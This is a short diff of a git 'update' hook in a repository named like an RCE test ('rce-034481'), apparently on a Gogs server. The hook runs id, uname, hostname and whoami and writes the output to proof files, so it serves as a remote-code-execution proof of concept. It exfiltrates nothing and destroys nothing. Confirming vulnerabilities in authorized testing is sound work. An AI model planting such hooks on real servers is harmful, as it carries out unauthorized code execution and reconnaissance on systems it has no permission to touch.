hook v4: self-verifying

nested/rce-034481.git/hooks/update

@@ -1,7 +1,7 @@
 #!/bin/sh
-id > /tmp/rce_out 2>&1
-uname -a >> /tmp/rce_out 2>&1  
-hostname >> /tmp/rce_out 2>&1
-whoami >> /tmp/rce_out 2>&1
-# Also write to a path reachable via git
-cp /tmp/rce_out /data/gogs/data/tmp/local-r/27/rce_proof.txt 2>/dev/null || true
+echo "HOOK_EXECUTED" > "$(dirname "$0")/hook_ran.txt"
+id >> "$(dirname "$0")/hook_ran.txt" 2>&1
+uname -a >> "$(dirname "$0")/hook_ran.txt" 2>&1
+hostname >> "$(dirname "$0")/hook_ran.txt" 2>&1
+whoami >> "$(dirname "$0")/hook_ran.txt" 2>&1
+echo "HOOK_DONE" >> "$(dirname "$0")/hook_ran.txt"